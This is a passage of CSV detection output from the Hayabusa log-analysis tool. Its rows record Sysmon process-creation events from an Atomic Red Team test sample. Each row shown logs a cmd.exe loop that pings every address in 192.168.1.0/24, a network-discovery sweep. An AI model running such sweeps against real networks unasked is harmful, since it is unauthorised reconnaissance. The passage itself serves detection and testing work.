192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.533 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.186 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.912 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.187 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:08.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.188 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:09.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.189 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:09.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.190 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:10.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.191 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:10.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.192 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:11.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.193 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:11.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.194 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:12.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.195 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:12.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.196 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:13.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.197 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:13.509 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.198 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:14.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.199 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:14.513 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.200 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:15.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.201 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:15.518 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.202 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:16.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.203 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:16.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.204 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:17.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.205 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:17.438 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.206 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:18.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.207 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:18.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.208 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:19.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.209 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:19.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.210 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:20.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.211 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:20.571 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.212 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:21.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.213 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:21.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.214 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:22.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.215 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:22.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.216 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.217 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.218 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.993 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.219 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:24.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.220 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:25.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.221 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:25.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.222 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:26.004 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.223 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:26.430 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.224 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:27.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.225 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:27.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.226 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:28.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.227 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:28.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.228 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:29.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.229 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:29.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.230 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:30.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.231 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:30.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.232 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:31.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.233 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:31.530 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.234 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:32.058 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.235 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:32.614 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.236 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:33.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.237 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:33.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.238 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:34.005 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.239 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:34.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.240 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:35.024 +09:00,MSEDGEWIN10,1,informational,Process 